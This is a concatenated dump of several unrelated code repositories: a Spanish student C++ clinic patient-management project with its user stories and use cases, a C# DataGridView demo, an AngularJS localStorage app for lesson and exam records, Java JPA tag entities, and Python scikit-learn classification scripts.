dni_ = dni;
}
inline void setDireccion(string direccion){
direccion_ = direccion;
}
};
#endif<file_sep>/historias_de_usuario/16_eliminar_tratamiento_paciente.md
**ID**: 13
**Nombre**: Eliminar tratamiento a un paciente
**Prioridad** (de 1 a 10): 5
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *eliminar un tratamiento a un paciente* para *corregir posibles errores*.
#### Validación
* Se debe mostrar un mensaje si no existe el paciente.<file_sep>/historias_de_usuario/01_anadir_nuevo_paciente.md
**ID**: 01
**Nombre**: <NAME>
**Prioridad** (de 1 a 10): 7
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *introducir los datos de un paciente* para *guardar su historial y su información*
#### Validación
* No es necesario utilizar el nombre completo.
* Se debe mostrar un mensaje de confirmación si se ha añadido correctamente.<file_sep>/codigo/main.cpp
#include <iostream>
#include "funciones.h"
using namespace std;
int main() {
int opcion = 0;
do{
system("clear");
cin.clear();
mostrar_menu();
cin >> opcion;
cin.clear();
switch(opcion) {
case 1:{ // Añadir paciente
case_anadirPaciente();
}break;
case 2:{ // Eliminar paciente
case_eliminarPaciente();
}break;
case 3:{ // Modificar paciente
case_modificarPaciente();
}break;
case 4:{ // Buscar paciente, incluye submenú
case_buscarPaciente();
}break;
case 5:{ // Añadir una cita a un paciente
case_anadirCita();
}break;
case 6:{ // Mostrar las citas de hoy
case_citasHoy();
}break;
case 7:{ // Mostrar lista de pacientes
case_mostrarListaPacientes();
}break;
case 8:{ // Salir
break;
}break;
default:{
cout << "Opción no valida" << endl;
}break;
}
}while(opcion != 8);
}
<file_sep>/codigo/Makefile
.PHONY: main all clean
main:
g++ paciente.cpp cita.cpp elementoHistorial.cpp tratamiento.cpp gestorFichero.cpp funciones.cpp main.cpp -o clinica -std=gnu++11
clean:
rm clinica
all: main<file_sep>/casos_de_uso/09_anadir_cita_paciente.md
## Añadir cita a un paciente
**ID**: 09
**Descripción**: Se añade una nueva cita a su historial de citas.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema.
**Flujo principal**:
1. El secretario desea añadir una nueva cita para el paciente.
1. El secretario selecciona en el menú principal la opción "Añadir cita".
1. Se le pedirá al secretario el DNI del paciente.
1. El secretario introduce la fecha y la hora de la nueva cita.
1. El sistema almacena los datos en el historial.
**Postcondiciones**:
* Ninguna.
**Flujos alternativos**:
5.a. Si la cita que desea añadir coincide con otra en dicho horario, no podrá almacenarse dicha cita y además se mostrará un mensaje indicando que en ese horario ya hay una cita establecida.
3.a. Si el paciente no existe, se muestra un mensaje de error.<file_sep>/codigo/gestorFichero.cpp
#include <list>
#include <cstring>
#include <string>
#include <cstdlib>
#include <fstream>
#include <iostream>
#include <limits>
#include <ctime>
#include "cita.h"
#include "paciente.h"
#include "gestorFichero.h"
#include "tratamiento.h"
using namespace std;
GestorFichero::GestorFichero(string nombreFichero){
nombreFichero_ = nombreFichero;
}
list <Paciente> GestorFichero::getTodosPacientes(){
list <Paciente> pacientes;
ifstream file(nombreFichero_.c_str());
if (file){
string dni, nombreCompleto, telefono, direccion, sexo, fechaNacimiento;
while(getline(file, dni)){
getline(file, nombreCompleto);
getline(file, fechaNacimiento);
getline(file, telefono);
getline(file, sexo);
getline(file, direccion);
Paciente p(dni, nombreCompleto, fechaNacimiento, atoi(telefono.c_str()), sexo, direccion);
pacientes.push_back(p);
}
}
file.close();
return pacientes;
}
list <Cita> GestorFichero::getCitasHoy(){
list <Cita> citas;
// Obtenemos la fecha de hoy
time_t t = time(0);
tm* now = localtime(&t);
string day = now->tm_mday < 10 ? "0" + now->tm_mday : std::to_string(now->tm_mday);
string hoy = day + "/" + to_string(now -> tm_mon + 1) + "/" + to_string(now -> tm_year + 1900);
list <Cita> todas = getTodasCitas();
for(Cita &c : todas){
if (c.getFecha() == hoy){
citas.push_back(c);
}
}
return citas;
}
void GestorFichero::anadirPaciente(Paciente p){
fstream file;
file.open(nombreFichero_.c_str(), ios::out | ios::app);
file << p.getDNI() << endl
<< p.getNombreCompleto() << endl
<< p.getFechaNacimiento() << endl
<< p.getTelefono() << endl
<< p.getSexo() << endl
<< p.getDireccion() << endl;
file.close();
file.open(p.getDNI() + "_citas.txt", ios::out);
file.close();
file.open(p.getDNI() + "_historial.txt", ios::out);
file.close();
file.open(p.getDNI() + "_tratamientos.txt", ios::out);
file.close();
}
Paciente GestorFichero::getPacienteFromDNI(string DNI){
fstream file;
file.open(nombreFichero_.c_str(), ios::in);
string dni_buscar, nombreCompleto, fechaNacimiento, sexo, direccion, telefono;
while(!file.eof()){
getline(file, dni_buscar);
if (DNI == dni_buscar){
getline(file, nombreCompleto);
getline(file, fechaNacimiento);
getline(file, telefono);
getline(file, sexo);
getline(file, direccion);
}
}
file.close();
Paciente p(DNI, nombreCompleto, fechaNacimiento, atoi(telefono.c_str()), sexo, direccion);
return p;
}
void GestorFichero::anadirCitaPaciente(string DNI, Cita c){
nombreFichero_ = DNI + "_citas.txt";
fstream file;
file.open(nombreFichero_.c_str(), ios::out | ios::app);
if (file){
file << c.getFecha() << endl
<< c.getHora() << endl
<< c.getDuracion() << endl;
}
file.close();
}
void GestorFichero::anadirTratamientoPaciente(string DNI, Tratamiento t){
nombreFichero_ = DNI + "_tratamientos.txt";
ofstream file(nombreFichero_.c_str(), ios::app);
file << t.getMedicamento() << endl
<< t.getFechaComienzo() << endl
<< t.getFechaFin() << endl
<< t.getObservaciones() << endl;
file.close();
}
list <Tratamiento> GestorFichero::getTratamientosPaciente(string DNI){
nombreFichero_ = DNI + "_tratamientos.txt";
ifstream file(nombreFichero_.c_str());
string medicamento, fecha_i, fecha_f, observaciones;
list <Tratamiento> tratamientos;
while(getline(file, medicamento)){
getline(file, fecha_i);
getline(file, fecha_f);
getline(file, observaciones);
Tratamiento t(medicamento, fecha_i, fecha_f, observaciones);
tratamientos.push_back(t);
}
file.close();
return tratamientos;
}
list <ElementoHistorial> GestorFichero::getHistorialPaciente(string DNI){
fstream file;
file.open(DNI + "_historial.txt", ios::in);
list <ElementoHistorial> historial;
string fecha, observaciones;
while(getline(file, fecha)){
getline(file, observaciones);
ElementoHistorial h(fecha, observaciones);
historial.push_back(h);
}
return historial;
}
bool GestorFichero::buscarPaciente(string DNI){
ifstream file(nombreFichero_.c_str());
if (file){
string dni_buscar;
while(!file.eof()){
getline(file, dni_buscar);
if (DNI == dni_buscar){
return true;
}
}
return false;
}
else {
return false;
}
}
void GestorFichero::modificarCitaPaciente(string DNI, string fecha_antigua, string hora_antigua, Cita citaNueva){
eliminarCita(DNI, fecha_antigua, hora_antigua);
anadirCitaPaciente(DNI, citaNueva);
}
bool GestorFichero::eliminarPaciente(string DNI){
if (buscarPaciente(DNI)){
ifstream file(nombreFichero_.c_str());
if (file){
ofstream file_aux("pacientes_temp.txt");
int countLines = 0;
string line;
while(getline(file, line)){
if (line == DNI){
for (int i = 0; i < 5; i++) {
file.ignore(std::numeric_limits<streamsize>::max(), '\n');
}
}
else{
countLines++;
}
}
file.clear();
file.seekg(0, ios_base::beg);
for(int i = 0; i < countLines; i++){
string aux;
getline(file, aux);
if (aux == DNI){
for (int i = 0; i < 5; i++) {
file.ignore(std::numeric_limits<streamsize>::max(), '\n');
}
}
else if (i == countLines){
file_aux << aux;
}
else{
file_aux << aux << endl;
}
}
file.close();
file_aux.close();
remove("pacientes.txt");
rename("pacientes_temp.txt", "pacientes.txt");
remove((DNI + "_citas.txt").c_str());
remove((DNI + "_historial.txt").c_str());
remove((DNI + "_tratamientos.txt").c_str());
return true;
}
else{
return false;
}
}
else{
return false;
}
}
bool GestorFichero::eliminarCita(string DNI, string fecha, string hora){
ifstream file((DNI + "_citas.txt").c_str());
ofstream file_tmp("citastemp.txt");
int countCitas = 0;
string fecha_f, hora_f, duracion_f;
while(getline(file, fecha_f)){
getline(file, hora_f);
if (fecha == fecha_f && hora == hora_f){
file.ignore(std::numeric_limits<streamsize>::max(), '\n');
}
else{
countCitas++;
file.ignore(std::numeric_limits<streamsize>::max(), '\n');
}
}
file.clear();
file.seekg(0, ios_base::beg);
int i = 0;
while(getline(file, fecha_f)){
getline(file, hora_f);
if (fecha == fecha_f && hora == hora_f){
file.ignore(std::numeric_limits<streamsize>::max(), '\n');
}
else if (i == countCitas){
file_tmp << fecha_f << endl
<< hora_f << endl;
getline(file, duracion_f);
file_tmp << duracion_f;
i++;
}
else{
file_tmp << fecha_f << endl
<< hora_f << endl;
getline(file, duracion_f);
file_tmp << duracion_f << endl;
i++;
}
}
file.close();
file_tmp.close();
remove((DNI + "_citas.txt").c_str());
rename("citastemp.txt", (DNI + "_citas.txt").c_str());
}
list <Cita> GestorFichero::getProximasCitasPaciente(string DNI){
list <Cita> citas_paciente = getCitasPaciente(DNI);
list <Cita> proximas_citas_paciente;
// Obtenemos fecha y hora actual
time_t t = time(0);
for(Cita &c : citas_paciente){
tm fechaCita;
strptime((c.getFecha() + " " + c.getHora()).c_str(), "%d/%m/%Y %H:%M", &fechaCita); // Convierte a "struct tm" AVISO NO FUNCIONA EN WINDOWS
time_t fechaCita_ = mktime(&fechaCita); // Convierte a time_t
if ((difftime(fechaCita_, t)) > 0){ // Comparamos la fecha de hoy y de cada cita
proximas_citas_paciente.push_back(c);
}
}
return proximas_citas_paciente;
}
void GestorFichero::anadirHistorialPaciente(string DNI, ElementoHistorial h){
setNombreFichero(DNI + "_historial.txt");
ofstream file(nombreFichero_.c_str(), ios::app);
file << h.getFecha() << endl
<< h.getObservaciones() << endl;
file.close();
}
void GestorFichero::modificarPaciente(Paciente p_nuevo, string DNI){
// Eliminamos paciente sin borrar su historial
ifstream file(nombreFichero_.c_str());
if (file){
ofstream file_aux("pacientes_temp.txt");
int countLines = 0;
string line;
while(getline(file, line)){
if (line == DNI){
for (int i = 0; i < 5; i++) {
file.ignore(std::numeric_limits<streamsize>::max(), '\n');
}
}
else{
countLines++;
}
}
file.clear();
file.seekg(0, ios_base::beg);
for(int i = 0; i < countLines; i++){
string aux;
getline(file, aux);
if (aux == DNI){
for (int i = 0; i < 5; i++) {
file.ignore(std::numeric_limits<streamsize>::max(), '\n');
}
}
else if (i == countLines){
file_aux << aux;
}
else{
file_aux << aux << endl;
}
}
remove("pacientes.txt");
rename("pacientes_temp.txt", "pacientes.txt");
}
// Añade paciente modificado sin borrar su historial, citas...
fstream file2;
file2.open(nombreFichero_.c_str(), ios::out | ios::app);
file2 << p_nuevo.getDNI() << endl
<< p_nuevo.getNombreCompleto() << endl
<< p_nuevo.getFechaNacimiento() << endl
<< p_nuevo.getTelefono() << endl
<< p_nuevo.getSexo() << endl
<< p_nuevo.getDireccion() << endl;
file2.close();
}
list <Cita> GestorFichero::getTodasCitas(){
list <Cita> citas;
ifstream file(nombreFichero_);
if (file) {
while (!file.eof()) {
if (file.peek() == ifstream::traits_type::eof()) {
break;
}
string dni;
getline(file, dni);
for (int i = 0; i < 5; i++) {
file.ignore(std::numeric_limits<streamsize>::max(), '\n');
}
list<Cita> citas_paciente = getCitasPaciente(dni);
citas.insert(citas.end(), citas_paciente.begin(), citas_paciente.end());
}
file.close();
}
return citas;
}
list <Cita> GestorFichero::getCitasPaciente(string DNI){
list <Cita> citas;
ifstream file((DNI + "_citas.txt").c_str());
if (file){
string fecha, hora, duracion;
while(getline(file, fecha)){
getline(file, hora);
getline(file, duracion);
Cita c(fecha, hora, atoi(duracion.c_str()));
citas.push_back(c);
}
}
file.close();
return citas;
}
bool GestorFichero::buscarCita(string fecha, string hora){
list <Cita> citas = getTodasCitas();
for(Cita &c : citas){
if (c.getFecha() == fecha && c.getHora() == hora){
return true;
}
}
return false;
}
bool GestorFichero::buscarCita(string fecha, string hora, string DNI){
list <Cita> citas = getCitasPaciente(DNI);
for(Cita &c : citas){
if (c.getFecha() == fecha && c.getHora() == hora){
return true;
}
}
return false;
}
void GestorFichero::eliminarTratamiento(string DNI, string medicamento){
nombreFichero_ = DNI + "_tratamientos.txt";
ifstream file(nombreFichero_.c_str());
if (file){
ofstream file_aux("tratamientos_temp.txt");
int countLines = 0;
string line;
while(getline(file, line)){
if (line == medicamento){
for (int i = 0; i < 3; i++){
file.ignore(std::numeric_limits<streamsize>::max(), '\n');
}
}
else{
countLines++;
}
}
file.clear();
file.seekg(0, ios_base::beg);
int i = 0;
while(getline(file, line)){
if (line == medicamento){
for (int j = 0; j < 3; j++){
file.ignore(std::numeric_limits<streamsize>::max(), '\n');
}
}
else{
file_aux << line << endl;
i++;
}
}
file.close();
file_aux.close();
remove(nombreFichero_.c_str());
rename("tratamientos_temp.txt", nombreFichero_.c_str());
}
}
void GestorFichero::modificarTratamiento(string DNI, string medicamento, Tratamiento nuevo){
eliminarTratamiento(DNI, medicamento);
anadirTratamientoPaciente(DNI, nuevo);
}
bool GestorFichero::buscarTratamiento(string DNI, string medicamento){
nombreFichero_ = DNI + "_tratamientos.txt";
ifstream file(nombreFichero_.c_str());
if (file){
string aux;
while(getline(file, aux)){
if (aux == medicamento){
file.close();
return true;
}
}
file.close();
return false;
}
}
<file_sep>/historias_de_usuario/05_mostrar_historial_paciente.md
**ID**: 05
**Nombre**: Mostrar historial de un paciente
**Prioridad** (de 1 a 10): 4
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *ver el historial de mis pacientes* para *evaluar los tratamientos posteriores*.
#### Validación
* Se debe mostrar un mensaje si el historial está vacío.
* Se debe mostrar un mensaje de error si el paciente no existe.<file_sep>/codigo/elementoHistorial.cpp
#include "elementoHistorial.h"<file_sep>/historias_de_usuario/12_modificar_cita_paciente.md
**ID**: 12
**Nombre**: Modificar cita de un paciente
**Prioridad** (de 1 a 10): 4
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *modificar las citas de mis pacientes* para *mejorar el control de horarios*.
#### Validación
* Se debe mostrar un mensaje de error si la cita coincide con otra.
* Se debe mostrar un mensaje de error si el paciente no existe.
<file_sep>/historias_de_usuario/13_mostrar_citas_hoy.md
**ID**: 13
**Nombre**: Mostrar todas las citas de hoy
**Prioridad** (de 1 a 10): 5
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *ver todas las citas del día* para *tener un control de horarios*.
#### Validación
* Se debe mostrar un mensaje si no hay ninguna cita.<file_sep>/casos_de_uso/13_mostrar_citas_hoy.md
## Mostrar todas las citas de hoy
**ID**: 13
**Descripción**: Se muestran todas las citas del día actual.
**Actores principales**: Secretario
**Precondiciones**:
* Ninguna
**Flujo principal**:
1. El secretario desea ver todas las citas del día actual.
1. El secretario selecciona la opción de "Mostrar todas las citas de hoy".
1. Se muestran las citas del día actual (fecha y hora).
**Postcondiciones**:
* Ninguna
**Flujos alternativos**:
3.a. Si no hay citas, se indicará.
<file_sep>/diagramas_secuencia/diagramas_secuencia.md
## Diagramas de secuencia












<file_sep>/casos_de_uso/06_modificar_tratamiento_paciente.md
## Modificar el tratamiento de un paciente
**ID**: 06
**Descripción**: Una vez seleccionado el paciente, se modifica el tratamiento actual del mismo.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema.
**Flujo principal**:
1. El secretario desea modificar el tratamiento de un paciente.
1. Se le pedirá al secretario el DNI del paciente y se buscará.
1. El secretario selecciona la opción de modificar el tratamiento actual.
1. El sistema muestra por pantalla el tratamiento actual del paciente y pide al secretario introducir el nuevo.
1. El secretario introduce el nuevo tratamiento.
1. El sistema guarda el nuevo tratamiento.
**Postcondiciones**:
* Se muestra al secretario si desea hacer alguna operación más con el paciente.
**Flujos alternativos**:
* 4.a. Si no hay ningun tratamiento, el sistema lo indicará, y se podrá añadir uno nuevo.<file_sep>/casos_de_uso/10_eliminar_cita_paciente.md
## Eliminar la cita de un paciente
**ID**: 10
**Descripción**: Una vez seleccionado el paciente, se elimina una de sus citas.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema.
**Flujo principal**:
1. El secretario desea eliminar una cita a un determinado paciente.
1. El secretario selecciona la opción de eliminar cita en el menú principal.
1. El secretario introduce los datos del paciente y se realiza la búsqueda.
1. Se muestran las citas del paciente.
1. El secretario introduce los datos de la cita que desea eliminar.
1. El sistema elimina la cita.
**Postcondiciones**:
* Se muestra al secretario si desea hacer alguna operación más con el nuevo paciente.
**Flujos alternativos**:
4.a. Si el paciente no tiene ninguna cita, se indicará en un mensaje de error.
3.a. Si el paciente no existe, se muesta un mensaje de error. | c24a81cd42afd8c7c4e2235662ebde1cb075be8a | [
"Markdown",
"Makefile",
"C++"
] | 48 | Markdown | i82gaarj/is-clinica-medica | 1fef8f4d5202f6f1aa7a883c6bbcdb30c13efbd7 | f4e4ad2006c1ee843e21e49a62963c462b4806bc |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace TestForECSArticle
{
public partial class Form1 : Form
{
int rowOfLastClicked = 1;
int colOfLastClicked = 1;
public Form1()
{
InitializeComponent();
SetupDGV();
PopulateDataGridView();
textBox1.Text = "";
}
private void SetupDGV()
{
dataGridView1.ColumnCount = 3;
dataGridView1.Columns[0].Name = "One";
dataGridView1.Columns[1].Name = "Two";
dataGridView1.Columns[2].Name = "Three";
dataGridView1.CellEnter += new
DataGridViewCellEventHandler(dataGridView1_CellEnter);
dataGridView1.EditingControlShowing += new
DataGridViewEditingControlShowingEventHandler(dataGridView1_EditingControlShowing);
}
private void dataGridView1_CellEnter(object sender, DataGridViewCellEventArgs e)
{
if (e.ColumnIndex < dataGridView1.ColumnCount)
{
textBox1.Text = dataGridView1.Rows[e.RowIndex].Cells[e.ColumnIndex].Value.ToString();
rowOfLastClicked = e.RowIndex;
colOfLastClicked = e.ColumnIndex;
}
}
private void dataGridView1_EditingControlShowing(object sender, DataGridViewEditingControlShowingEventArgs e)
{
e.Control.KeyUp -= dataGridView1_KeyUp;
e.Control.KeyUp += new KeyEventHandler(dataGridView1_KeyUp);
}
private void dataGridView1_KeyUp(object sender, KeyEventArgs e)
{
textBox1.Text = dataGridView1.Rows[rowOfLastClicked].Cells[colOfLastClicked].EditedFormattedValue.ToString();
}
private void PopulateDataGridView()
{
string[] row0 = { "Person 1", "11/22/1968", "2"};
string[] row1 = { "Person 2", "1960", "5"};
string[] row2 = { "Person 3", "11/11/1971", "1" };
dataGridView1.Rows.Add(row0);
dataGridView1.Rows.Add(row1);
dataGridView1.Rows.Add(row2);
dataGridView1.Columns[0].DisplayIndex = 0;
dataGridView1.Columns[1].DisplayIndex = 1;
dataGridView1.Columns[2].DisplayIndex = 2;
}
}
}
| c5136f5cba49b49610b9fd607f5e7ac49d57b224 | [
"C#"
] | 1 | C# | doctaman/DataGridView-EditedFormattedValue | e8ffdb71e97f5c37858b5c54c7fd7893ae97b5d5 | 707b8268c819e91f82903f9720557ede88df19b4 |
refs/heads/main | <file_sep>// ********Dərslərin qeydiyyatı *********
var app=angular.module('myApp', []);
app.controller('myCtrl', function ($scope) {
$scope.order_name='';
$scope.order_status_list={
name : false,
surname : false
};
$scope.order_status=false;
var local_storage=window.localStorage;
var data=JSON.stringify([
]);
if (!local_storage.getItem('user_list')) {
local_storage.setItem('user_list', data);
}
var user_list=local_storage.getItem('user_list');
$scope.user_list=JSON.parse(user_list);
$scope.name='';
$scope.surname='';
$scope.addUser=function(){
if (
typeof($scope.lesson_name)!='undefined' && $scope.lesson_name.trim().length >= 3 &&
typeof($scope.new_name)!='undefined' && $scope.new_name.trim().length >= 3 &&
typeof($scope.new_surname) !='undefined' && $scope.new_surname.trim().length >= 3 )
{
$scope.user_list.push({
lesson_code:$scope.lesson_code,
lesson_name:$scope.lesson_name,
lesson_class:$scope.lesson_class,
name : $scope.new_name,
surname : $scope.new_surname,
edit : false
});
var old_data=JSON.parse(local_storage.getItem('user_list'));
old_data.push({
lesson_code : $scope.lesson_code,
lesson_name : $scope.lesson_name,
lesson_class:$scope.lesson_class,
name : $scope.new_name,
surname : $scope.new_surname,
edit : false
});
local_storage.setItem('user_list', JSON.stringify(old_data));
$scope.lesson_class='',
$scope.lesson_code='';
$scope.lesson_name='';
$scope.new_name='';
$scope.new_surname='';
}else{
alert('Xanalaran hec biri bos ola bilmez');
}
};
$scope.removeUser=function(key){
var ask=confirm('"'+ $scope.user_list[key].name+'" adlı istifadəçini silək?' );
if (ask) {
$scope.user_list.splice(key, 1);
var old_data=JSON.parse(local_storage.getItem('user_list'));
old_data.splice(key, 1);
local_storage.setItem('user_list', JSON.stringify(old_data));
}
};
$scope.updateUser=function(key){
for(key2 in $scope.user_list){
if (key2==key) {continue;}
$scope.user_list[key2].edit=false;
}
$scope.user_list[key].edit=!$scope.user_list[key].edit;
if (!$scope.user_list[key].edit) {
//save local storage
console.log( $scope.name) ;
var old_data=JSON.parse(local_storage.getItem('user_list'));
old_data[key].lesson_code=$scope.user_list[key].lesson_code;
old_data[key].lesson_name=$scope.user_list[key].lesson_name;
old_data[key].lesson_class=$scope.user_list[key].lesson_class;
old_data[key].name=$scope.user_list[key].name;
old_data[key].surname=$scope.user_list[key].surname;
local_storage.setItem('user_list', JSON.stringify(old_data));
}
};
$scope.orderBy=function(key){
$scope.order_name=key;
$scope.order_status_list[key]=!$scope.order_status_list[key];
$scope.order_status=$scope.order_status_list[key];
};
$scope.column_name='name';
$scope.filter_object={ [$scope.column_name] : $scope.search_text };
$scope.searchUser=function(){
$scope.filter_object={ [$scope.column_name] : $scope.search_text };
}
});
// ******** <NAME> ************
var app=angular.module('myAppSecond', []);
app.controller('myCtrl2', function ($scope) {
$scope.order_name_student='';
$scope.order_student_list={
name : false,
surname : false
};
$scope.order_student_status=false;
var localStorage=window.localStorage;
var data=JSON.stringify([
]);
if (!localStorage.getItem('student_list')) {
localStorage.setItem('student_list', data);
}
var student_list=localStorage.getItem('student_list');
$scope.student_list=JSON.parse(student_list);
$scope.name='';
$scope.surname='';
$scope.addStudent=function(){
if (
typeof($scope.new_name)!='undefined' && $scope.new_name.trim().length >= 3 &&
typeof($scope.new_surname) !='undefined' && $scope.new_surname.trim().length >= 3 )
{
$scope.student_list.push({
lesson_code:$scope.lesson_code,
lesson_class:$scope.lesson_class,
name : $scope.new_name,
surname : $scope.new_surname,
edit : false
});
var old_student_data=JSON.parse(localStorage.getItem('student_list'));
old_student_data.push({
lesson_code : $scope.lesson_code,
lesson_class:$scope.lesson_class,
name : $scope.new_name,
surname : $scope.new_surname,
edit : false
});
localStorage.setItem('student_list', JSON.stringify(old_student_data));
$scope.lesson_code='';
$scope.new_name='';
$scope.new_surname='';
$scope.lesson_class=''
}else{
alert('Xanalaran hec biri bos ola bilmez');
}
};
$scope.removeUser=function(key){
var ask=confirm('"'+ $scope.student_list[key].name+'" adlı istifadəçini silək?' );
if (ask) {
$scope.student_list.splice(key, 1);
var old_student_data=JSON.parse(localStorage.getItem('student_list'));
old_student_data.splice(key, 1);
localStorage.setItem('student_list', JSON.stringify(old_student_data));
}
};
$scope.updateUser=function(key){
for(key2 in $scope.student_list){
if (key2==key) {continue;}
$scope.student_list[key2].edit=false;
}
$scope.student_list[key].edit=!$scope.student_list[key].edit;
if (!$scope.student_list[key].edit) {
//save local storage
console.log( $scope.name) ;
var old_student_data=JSON.parse(localStorage.getItem('student_list'));
old_student_data[key].lesson_code=$scope.student_list[key].lesson_code;
old_student_data[key].name=$scope.student_list[key].name;
old_student_data[key].surname=$scope.student_list[key].surname;
old_student_data[key].lesson_class=$scope.student_list[key].lesson_class;
localStorage.setItem('student_list', JSON.stringify(old_student_data));
}
};
$scope.orderBy=function(key){
$scope.order_name_student=key;
$scope.order_student_list[key]=!$scope.order_student_list[key];
$scope.order_student_status=$scope.order_student_list[key];
};
$scope.column_name='name';
$scope.filter_object={ [$scope.column_name] : $scope.search_text };
$scope.searchUser=function(){
$scope.filter_object={ [$scope.column_name] : $scope.search_text };
}
});
// ********** Exam Section ************
var app=angular.module('myAppExam', []);
app.controller('myCtrl3', function ($scope) {
$scope.order_exam='';
$scope.order_exam_list={
name : false,
surname : false
};
$scope.order_exam_status=false;
var local_Storage=window.localStorage;
var data=JSON.stringify([
]);
if (!local_Storage.getItem('exam_list')) {
local_Storage.setItem('exam_list', data);
}
var exam_list=local_Storage.getItem('exam_list');
$scope.exam_list=JSON.parse(exam_list);
$scope.name='';
$scope.surname='';
$scope.addExam=function(){
if (
typeof($scope.lesson_date)!='undefined'||
typeof($scope.new_surname) !='undefined' )
{
$scope.exam_list.push({
lesson_code:$scope.lesson_code,
student_code:$scope.student_code,
lesson_date : $scope.lesson_date,
price : $scope.price,
edit : false
});
var old_data=JSON.parse(local_Storage.getItem('exam_list'));
old_data.push({
lesson_code : $scope.lesson_code,
student_code : $scope.student_code,
lesson_date : $scope.lesson_date,
price : $scope.price,
edit : false
});
local_Storage.setItem('exam_list', JSON.stringify(old_data));
$scope.lesson_code='';
$scope.student_code='';
$scope.lesson_date='';
$scope.price='';
}else{
alert('Xanalaran heç biri boş ola bilmez');
}
};
$scope.removeExam=function(key){
var ask=confirm('"'+ $scope.exam_list[key].student_code+'" istifadəçini silək?' );
if (ask) {
$scope.exam_list.splice(key, 1);
var old_data=JSON.parse(local_Storage.getItem('exam_list'));
old_data.splice(key, 1);
local_Storage.setItem('exam_list', JSON.stringify(old_data));
}
};
$scope.updateExam=function(key){
for(key2 in $scope.exam_list){
if (key2==key) {continue;}
$scope.exam_list[key2].edit=false;
}
$scope.exam_list[key].edit=!$scope.exam_list[key].edit;
if (!$scope.exam_list[key].edit) {
//save local storage
console.log( $scope.name) ;
var old_data=JSON.parse(local_Storage.getItem('exam_list'));
old_data[key].lesson_code=$scope.exam_list[key].lesson_code;
old_data[key].student_code=$scope.exam_list[key].student_code;
old_data[key].lesson_date=$scope.exam_list[key].lesson_date;
old_data[key].price=$scope.exam_list[key].price;
local_Storage.setItem('exam_list', JSON.stringify(old_data));
}
};
$scope.orderBy=function(key){
$scope.order_exam=key;
$scope.order_exam_list[key]=!$scope.order_exam_list[key];
$scope.order_exam_status=$scope.order_exam_list[key];
};
$scope.column_name='name';
$scope.filter_object={ [$scope.column_name] : $scope.search_text };
$scope.searchUser=function(){
$scope.filter_object={ [$scope.column_name] : $scope.search_text };
}
});
| d99d1e54bbca5540251637db78722f32fcf7a853 | [
"JavaScript"
] | 1 | JavaScript | qurbanzadefidan/ProSyS-Exam-Program-Project | 5aece8ec83d3598f0fdb49913e9544298ba9422a | 377edc05ca64b30b0c4e3cc85c4ef8d21cff07ea |
refs/heads/master | <repo_name>1214903993/platform<file_sep>/up_web/src/main/java/platform/service/impl/TagAndModelServiceImpl.java
package platform.service.impl;
import com.wyh.platform.Repo.TagRepo;
import com.wyh.platform.entity.dto.TagDto;
import com.wyh.platform.service.TagAndModelService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class TagAndModelServiceImpl implements TagAndModelService {
@Autowired
private TagRepo tagRepo;
@Override
public void addTagsByRelation(List<TagDto> tags) {
}
}
<file_sep>/up_web/src/main/java/platform/Repo/TagRepo.java
package platform.Repo;
import com.wyh.platform.entity.po.TagPo;
import org.springframework.data.jpa.repository.JpaRepository;
import java.util.List;
public interface TagRepo extends JpaRepository<TagPo,Long> {
/**
* 根据名称和等级查询
*/
List<TagPo> findByNameAndLevelAndPid(String name, Integer level, Long pid);
}
<file_sep>/up_web/src/main/java/platform/entity/po/TagPo.java
package platform.entity.po;
import lombok.Data;
import lombok.Generated;
import javax.persistence.Entity;
import javax.persistence.Id;
import java.util.Date;
@Data
@Entity(name= "tbl_basic_tag")
public class TagPo {
@Id
@Generated
private Long id;
private Long pid;
private Integer level;
private String name;
private String rule;
//创建时间
private Date ctime;
//更新时间
private Date utime;
}
| 2ce5f0892368bbd42a1d6b5e42a46f0b05263ad6 | [
"Java"
] | 3 | Java | 1214903993/platform | 5939f6e711417a75702438329f10c6b6edc78577 | 7ab8d9ba711a515188b1dfb2c65e30a27169ec38 |
refs/heads/master | <repo_name>auxillary1902/MLProject<file_sep>/svm.py
import pandas
from sklearn import model_selection
from sklearn.model_selection import train_test_split
from sklearn import svm
from sklearn import metrics
dataframe = pandas.read_csv("satisfactionmain.csv")
array = dataframe.values
# X1 = dataframe.iloc[:,7:23]
# Y1 = dataframe.iloc[:,23:24]
# print(Y1)
print("Read the dataset. Splitting as training attributes and target attributes")
X = array[:100000,7:23]
Y = array[:100000,23]
print(X)
print(Y)
X_train, X_test, y_train, y_test = train_test_split(X, Y,test_size=0.3,random_state=109) # 70% training and 30% test
print("The training set is after 70 percent handout:")
print(X_train)
print(y_train)
clf = svm.SVC(kernel='linear') # Linear Kernel
#Train the model using the training sets
clf.fit(X_train, y_train)
#Predict the response for test dataset
y_pred = clf.predict(X_test)
print("Accuracy:",metrics.accuracy_score(y_test, y_pred))
#print("Precision:",metrics.precision_score(y_test, y_pred))
# # Model Recall: what percentage of positive tuples are labelled as such?
# print("Recall:",metrics.recall_score(y_test, y_pred))<file_sep>/1.py
# Bagged Decision Trees for Classification
import pandas
from sklearn import model_selection
from sklearn.ensemble import BaggingClassifier
from sklearn.tree import DecisionTreeClassifier
from sklearn.naive_bayes import GaussianNB
dataframe = pandas.read_csv("satisfactionmain.csv")
array = dataframe.values
# X1 = dataframe.iloc[:,7:23]
# Y1 = dataframe.iloc[:,23:24]
# print(Y1)
print("Read the dataset. Splitting as training attributes and target attributes")
X = array[:,7:23]
Y = array[:,23]
# print(Y)
print(X)
print(Y)
seed = 7
kfold = model_selection.KFold(n_splits=10, random_state=seed)
cart = DecisionTreeClassifier()
gnb = GaussianNB()
num_trees = 6
